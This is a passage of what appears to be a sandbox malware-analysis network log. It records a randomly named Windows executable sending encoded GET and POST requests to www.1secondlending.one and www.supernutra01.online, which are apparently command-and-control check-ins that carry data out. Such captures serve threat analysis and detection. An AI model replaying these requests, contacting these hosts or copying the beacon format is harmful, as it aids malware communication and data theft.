Nov 22, 2024 12:42:38.404337883 CET	453	OUT	GET /6pwo/?AFF=OcYLCa3XOMtt+RsgzD1zLQYXF21NRX3aDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abnTc9bVWqvwMitNejIQMZs4A8D92e/CCvcvI=&qjBT=BfTHe4BP_zkdflN HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Nov 22, 2024 12:42:39.874555111 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 11:42:39 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49843	172.67.220.36	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:45.372070074 CET	728	OUT	POST /rk61/ HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 200 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/rk61/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 31 4c 32 50 35 58 56 74 76 35 41 79 46 35 50 6e 72 62 43 54 6c 58 44 4c 36 6e 5a 47 4d 74 74 6f 45 73 39 75 79 4f 47 74 48 4f 59 70 6c 34 44 41 6a 7a 36 53 53 49 2f 69 58 42 75 30 71 41 71 2b 70 47 5a 57 2b 57 34 70 39 6e 63 50 42 62 62 64 37 35 51 49 51 6d 52 52 34 68 69 41 2f 6c 6c 7a 49 69 47 4b 2b 6c 4a 5a 4b 69 67 30 48 4f 49 76 46 36 34 6b 2f 4e 6e 36 69 4c 6d 73 5a 6c 44 35 47 4f 31 7a 33 48 37 69 66 74 53 31 44 71 33 4c 6e 57 74 36 45 53 75 55 6d 42 50 62 68 4f 6e 44 72 73 67 72 48 48 70 4a 44 63 4c 53 2b 66 73 53 41 38 46 51 58 75 56 4d 6f 68 53 71 33 51 69 6e 77 67 3d 3d Data Ascii: AFF=1L2P5XVtv5AyF5PnrbCTlXDL6nZGMttoEs9uyOGtHOYpl4DAjz6SSI/iXBu0qAq+pGZW+W4p9ncPBbbd75QIQmRR4hiA/llzIiGK+lJZKig0HOIvF64k/Nn6iLmsZlD5GO1z3H7iftS1Dq3LnWt6ESuUmBPbhOnDrsgrHHpJDcLS+fsSA8FQXuVMohSq3Qinwg==
Nov 22, 2024 12:42:46.715147018 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Fri, 22 Nov 2024 11:42:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=81ycgb2%2BG4%2F%2B5M0pOmCcjWUgI3McX8MJv1HTOinV6hqPg0q6ITGDCzP5ZalXtycOWJ3lqCoqQAEHrRjoQSz2eAElOdFovxJ07jZkVugLSwnXlEw7N4MP9b6l7RN0v%2BvwbG0FUrBrsAWR0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e68a87378d8c3f0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1467&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=728&delivery_rate=0&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome fri
Nov 22, 2024 12:42:46.715178013 CET	91	IN	Data Raw: 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 Data Ascii: endly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 22, 2024 12:42:46.715779066 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49850	172.67.220.36	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:48.032150030 CET	748	OUT	POST /rk61/ HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/rk61/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 31 4c 32 50 35 58 56 74 76 35 41 79 45 5a 2f 6e 74 36 43 54 67 33 44 49 6d 33 5a 47 43 4e 74 73 45 73 78 75 79 4c 69 39 48 34 41 70 6c 64 2f 41 69 79 36 53 52 49 2f 69 66 68 75 74 30 77 71 44 70 47 64 65 2b 53 34 70 39 6a 30 50 42 66 58 64 37 4b 34 58 42 6d 52 66 78 42 69 56 69 56 6c 7a 49 69 47 4b 2b 6a 6c 2f 4b 69 6f 30 47 2b 34 76 58 76 59 6c 6a 64 6e 35 31 37 6d 73 64 6c 44 39 47 4f 31 56 33 46 65 48 66 75 71 31 44 76 4c 4c 70 6a 42 35 4c 53 75 53 37 78 4f 2f 78 63 6e 4c 68 4f 31 7a 49 42 78 72 45 2b 54 58 32 35 68 49 52 4e 6b 48 46 75 78 2f 31 6d 62 65 36 54 66 75 72 6b 72 61 73 32 6f 47 72 55 69 49 65 41 72 4f 59 4b 4c 65 46 58 77 3d Data Ascii: AFF=1L2P5XVtv5AyEZ/nt6CTg3DIm3ZGCNtsEsxuyLi9H4Apld/Aiy6SRI/ifhut0wqDpGde+S4p9j0PBfXd7K4XBmRfxBiViVlzIiGK+jl/Kio0G+4vXvYljdn517msdlD9GO1V3FeHfuq1DvLLpjB5LSuS7xO/xcnLhO1zIBxrE+TX25hIRNkHFux/1mbe6Tfurkras2oGrUiIeArOYKLeFXw=
Nov 22, 2024 12:42:49.383327007 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Fri, 22 Nov 2024 11:42:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UYWvK%2Fj1EzZ2vv0eoDQjGxnGP%2FFg3Lc6VeGqNcTApnTaornKmGV00%2F%2FrH3QA%2BTLZvm0X9HAIGuqY4x%2FcOHM74I8zdY7kjCSDzIFoyBUOjiR%2FbW%2Bk3KQrTsEHUMFHSp5q4%2FWnlU17QgxHXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e68a8843b2a428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=748&delivery_rate=0&cwnd=81&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and C
Nov 22, 2024 12:42:49.383393049 CET	105	IN	Data Raw: 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 Data Ascii: hrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49859	172.67.220.36	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:50.814327955 CET	10830	OUT	POST /rk61/ HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 10300 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/rk61/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 31 4c 32 50 35 58 56 74 76 35 41 79 45 5a 2f 6e 74 36 43 54 67 33 44 49 6d 33 5a 47 43 4e 74 73 45 73 78 75 79 4c 69 39 48 34 49 70 6c 76 6e 41 6a 52 69 53 51 49 2f 69 56 42 75 77 30 77 71 53 70 47 6c 61 2b 53 39 53 39 6c 77 50 43 36 4c 64 39 37 34 58 49 6d 52 66 38 68 6a 79 2f 6c 6c 6d 49 69 57 4f 2b 6a 56 2f 4b 69 6f 30 47 39 67 76 48 4b 34 6c 68 64 6e 36 69 4c 6d 6f 5a 6c 44 5a 47 4f 74 72 33 46 62 79 44 4f 4b 31 44 50 37 4c 6c 78 35 35 47 53 75 51 72 68 4f 6e 78 63 71 56 68 4f 70 2f 49 42 74 52 45 38 50 58 31 4f 56 55 4e 5a 6f 65 65 34 68 56 6e 68 72 57 33 69 4c 31 71 32 37 32 68 44 4d 48 35 33 43 4c 64 53 32 56 63 37 6e 6b 62 58 30 75 45 79 35 56 52 52 66 48 2b 54 53 53 31 4c 35 6d 69 42 36 6c 4d 4a 38 2b 79 35 34 46 2b 4e 46 32 73 45 6d 56 7a 42 2b 65 4a 72 64 68 66 38 62 63 74 48 68 35 63 6e 66 55 59 2b 71 7a 31 4e 6b 37 39 49 69 37 47 6d 42 42 55 64 49 55 74 4b 42 51 58 77 35 52 75 39 71 32 65 39 52 66 4d 4c 6c 61 34 59 48 69 35 52 2b 4c 69 6a 2b 33 66 41 5a 7a 2f 6b 68 6d 78 69 [TRUNCATED] Data Ascii: AFF=1L2P5XVtv5AyEZ/nt6CTg3DIm3ZGCNtsEsxuyLi9H4IplvnAjRiSQI/iVBuw0wqSpGla+S9S9lwPC6Ld974XImRf8hjy/llmIiWO+jV/Kio0G9gvHK4lhdn6iLmoZlDZGOtr3FbyDOK1DP7Llx55GSuQrhOnxcqVhOp/IBtRE8PX1OVUNZoee4hVnhrW3iL1q272hDMH53CLdS2Vc7nkbX0uEy5VRRfH+TSS1L5miB6lMJ8+y54F+NF2sEmVzB+eJrdhf8bctHh5cnfUY+qz1Nk79Ii7GmBBUdIUtKBQXw5Ru9q2e9RfMLla4YHi5R+Lij+3fAZz/khmxiHze/Z76+lJnuOTpT3zMX17K6hrzqNaKdH27I8Tgm7zkVEvnNBgHV4Pf3MkTHmf/1QD/4IAf4or6CGqWmvxiGOvvYbK3g6jzAkjV69wplf/K3DPR3916nT+sSAVT8M5s5H7e0tVcclZj6SdPU46W7Xy39ODiDa4eU/OBpTDUKdAKIecHwYVWuv8I/NwFU6TPq/zAOKrwU0JFwhq0/0tGeS0NFDP7itrEcpAS2XdrvO2pSa/I8ncxt8QYtcSA/UES9dKvhTeb+yUMxZTNs3drz9m/nhACshdAwF9jWpfkAhvf1PIOBMkWb+mwOW8vUR9EGr/Tbv7kIVjk/hykXNp1IImoqBajTJ4+2HYFEm3RczUNWd/GxAGMZ8dAwQtbwUBHN9/w5aHVLx6ckfdSPsINdfRv/9Ntd8ftKc9aUYmgvg4O1ivzMWS9nzJAQ1swAsq2yHMHsCvndAeyVegdrCJD+xmSJCXGvk/NGSylXY2gE2EbhKUymWowRTpi0ut1+3feiYbhQ3GtBCtPB3EhfNADXwefeWZYeHPBLwqVYFRgJ66pw4Q+7om09hveqGA9/BrUr9d6Ou9PrlLGafhI0LWf90Lu7PcSiPhTPII/z+IC4JZ6kzX2DrdsVhBSOzdWuMYSxBXfnS2qyo4SIxdDquqGzeb7H8nbF+AMMVj [TRUNCATED]
Nov 22, 2024 12:42:52.183542967 CET	764	IN	HTTP/1.1 405 Not Allowed Date: Fri, 22 Nov 2024 11:42:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Me4pb2HezoWbUuf5uR7AL0Y0Y3fVbxuxDkpGZJSv7REmHJ2fDkPqggloMGmfu2XrgihYSV1OrGT%2BtB7f%2BAezCCA%2Frx5noS2DoKVsj8dgAzn7LhI9BNxV9nu4td24ivgA7jbJmkv%2F2DfMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e68a8959e1c4327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&sent=4&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10830&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Nov 22, 2024 12:42:52.184073925 CET	571	IN	Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49866	172.67.220.36	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:53.569525003 CET	454	OUT	GET /rk61/?qjBT=BfTHe4BP_zkdflN&AFF=4Jev6jkxg6xEO7Dapp2OtVT6jS0ALsNacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9NGZN+wjn/QV3LQCc1WVNeTcwGOVDWPFPiYw= HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Nov 22, 2024 12:42:54.964524984 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 11:42:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 24 Sep 2024 07:18:31 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hcUZDAuwOX2D3Expn4lBL2y49LwHK84hn%2FwIxbTug98WWIUqyGyIhRM1udAXvNHyMpVnhzjcHuzC%2F24E4KVYFuqZYfYq71NuGQUbFtnS1JGyJ0Gz0RNL94k2vD%2FV4e9zHCmBpKvQa%2FozaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e68a8a6fb9a43da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=454&delivery_rate=0&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 [TRUNCATED] Data Ascii: 2dae<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-blo
Nov 22, 2024 12:42:54.964586020 CET	1236	IN	Data Raw: 63 6b 7d 2e 6d 61 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72 Data Ascii: ck}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Ro
Nov 22, 2024 12:42:54.964608908 CET	1236	IN	Data Raw: 75 74 65 3b 74 6f 70 3a 2d 32 34 30 70 78 3b 72 69 67 68 74 3a 2d 33 36 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 20 2e 73 76 67 2d 74 77 6f 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 Data Ascii: ute;top:-240px;right:-360px;z-index:-1}.window-main .svg-two{position:absolute;bottom:-258px;left:-223px;z-index:-1}.window-main__title{text-align:center;padding-bottom:1.875rem;position:relative;font-weight:500;line-height:1.2777777778}.windo
Nov 22, 2024 12:42:54.964627981 CET	1236	IN	Data Raw: 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 38 37 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e Data Ascii: indow-main__item{padding-left:.875rem}}@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{p
Nov 22, 2024 12:42:54.964639902 CET	1236	IN	Data Raw: 20 38 2e 37 38 30 34 38 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b Data Ascii: 8.7804878049vw ,3.75rem)){.window-main{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:calc(1.5rem + 2.25*(100v
Nov 22, 2024 12:42:54.964651108 CET	1236	IN	Data Raw: 72 65 6d 29 2f 20 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 Data Ascii: rem)/ 25.625)}}@supports (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:clamp(1.5rem ,1.2073170
Nov 22, 2024 12:42:54.964663982 CET	1236	IN	Data Raw: 73 20 6e 6f 74 20 28 6d 61 72 67 69 6e 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 Data Ascii: s not (margin-top:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__actions,.window-main__body{margin-top:calc(1.5rem + .375*(100vw - 20rem)/ 25.625)}}}a{transition: all 0.4s; background-color: #0E0F14;}a:hover{border: 2
Nov 22, 2024 12:42:54.964772940 CET	1236	IN	Data Raw: 31 32 43 33 39 36 2e 33 39 32 20 32 33 38 2e 38 35 39 20 34 30 34 2e 37 32 38 20 32 39 38 2e 32 35 36 20 33 37 38 2e 30 36 37 20 33 35 33 2e 37 38 36 43 33 35 31 2e 34 30 35 20 34 30 39 2e 33 31 37 20 32 39 39 2e 38 34 31 20 34 33 39 2e 39 35 33 Data Ascii: 12C396.392 238.859 404.728 298.256 378.067 353.786C351.405 409.317 299.841 439.953 262.896 422.214Z" fill="#013F93" /></g><defs><filter id="filter0_f_2001_5" x="0.329773" y="0.914673" width="629.662" height="810.506" filt
